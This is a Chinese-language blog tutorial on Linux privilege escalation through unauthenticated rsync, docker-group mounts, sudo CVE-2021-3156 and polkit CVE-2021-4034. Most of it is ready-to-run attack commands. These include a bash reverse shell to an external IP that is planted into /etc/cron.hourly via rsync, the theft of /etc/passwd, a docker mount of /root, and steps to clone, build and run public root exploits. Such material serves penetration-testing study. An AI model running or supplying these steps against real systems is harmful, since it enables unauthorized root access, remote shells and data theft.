Linux提权:Docker组挂载 && Rsync未授权 && Sudo-CVE && Polkit-CVE

目录

Rsync未授权访问

docker组挂载

Sudo-CVE漏洞

Polkit-CVE漏洞


这里的提权手法是需要有一个普通用户的权限,一般情况下取得的webshell权限可能不够

Rsync未授权访问

Rsync是linux下一款数据备份工具,默认开启873端口

https://vulhub.org/#/environments/rsync/common/
借助Linux默认计划任务调用/etc/cron.hourly,利用rsync连接覆盖

前提:没有账号密码验证 开放873端口

探针

复制代码
rsync rsync://ip:873/

出现下面这种情况就说明存在未授权

思路一:下载获取对方的敏感文件

到达对方的根目录

可以通过rsync下载敏感文件 /etc/passwd 到自己根目录

复制代码
rsync rsync://ip:873/src/etc/passwd ./

思路二:覆盖定时文件,定时反弹shell

Linux系统的定时任务一般在 /etc/crontab

可以本地构造一个反弹 shell 的定时任务 nc

复制代码
/bin/bash -i >& /dev/tcp/47.94.236.117/3333 0>&i

赋予执行权限

复制代码
chmod +x nc

上传文件覆盖定时任务目录下

复制代码
rsync -av nc rsync://ip:873/src/etc/cron.hourly

下载文件

复制代码
rsync -av rsync://47.94.236.117:873/src/etc/passwd ./

本地监听反弹 shell 即可

复制代码
nc -lvnp 3333

docker组挂载

条件:普通用户在docker组

原理:利用docker服务启动镜像挂载目录、从而来访问root目录、etc目录等敏感文件来进行权限提升。因为docker的运行本身就需要root权限。

漏洞复现:

常见一个普通用户,并放到docker组内

复制代码
useradd -d /home/test -m  test
passwd test
usermod -G docker test
newgrp docker

利用

发现对方主机上存在docker服务,敲docker相关命令,判断有么docker相关的服务

groups 用户名 查看当前用户是否在docker组内

从Docker上下载alpine镜像,使用参数 -it 进入 容器shell

复制代码
docker run -v /root:/mnt -it alpine

这样就可以实现非root用户访问敏感文件,在尝试进行提权

Sudo-CVE漏洞

漏洞探针:这是版本漏洞,在版本区间都会受到影响

sudo: 1.8.2 - 1.8.31 p2

sudo: 1.9.0 - 1.9.5 p1

执行命令,看是否报错

复制代码
sudoedit -s /

若不报错,提示sudio的usage信息;报错:

利用:下载EXP直接攻击

复制代码
// 下载EXP

git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156

// 编译一下
make

// 给执行权限
chmod a+x sudo-hax-me-a-sandwich

// 执行脚本 1是选择模式
./sudo-hax-me-a-sandwich 1

Polkit-CVE漏洞

漏洞影响2009年5月至今的所有polkit版本

由于polkit是系统预装工具,所有存在polkit的linux系统均受影响

如:CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等

探针

复制代码
dpkg -l policykit-1

存在漏洞:

不存在漏洞

复制代码
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034/
make
./cve-2021-4034
相关推荐
JeffersonZU8 分钟前
Linux/Unix文件IO(文件描述符、原子操作、文件数据结构、open、read、write、fcntl、dup)
linux·c语言·unix·gnu
szekl1 小时前
HDMI 2.0 4×2矩阵切换器412HN——多信号输入输出的高清解决方案
linux·矩阵·计算机外设·电脑·ekl
weixin_399380691 小时前
k8s一键部署tongweb企业版7049m6(by why+lqw)
java·linux·运维·服务器·云原生·容器·kubernetes
阿巴~阿巴~1 小时前
Linux基本命令篇 —— uname命令
linux·运维·服务器
天空之城夢主1 小时前
KVM高级功能部署
linux·服务器
IT成长日记1 小时前
【Docker基础】Docker数据卷管理:docker volume ls及其参数详解
运维·docker·容器·volume ls
偷萧逸苦茶2 小时前
docker常见命令
docker·容器·eureka
pipip.3 小时前
UDP————套接字socket
linux·网络·c++·网络协议·udp
zkmall3 小时前
企业电商解决方案哪家好?ZKmall模块商城全渠道支持 + 定制化服务更省心
大数据·运维·重构·架构·开源
绝不偷吃5 小时前
ELK日志分析系统
运维·elk·jenkins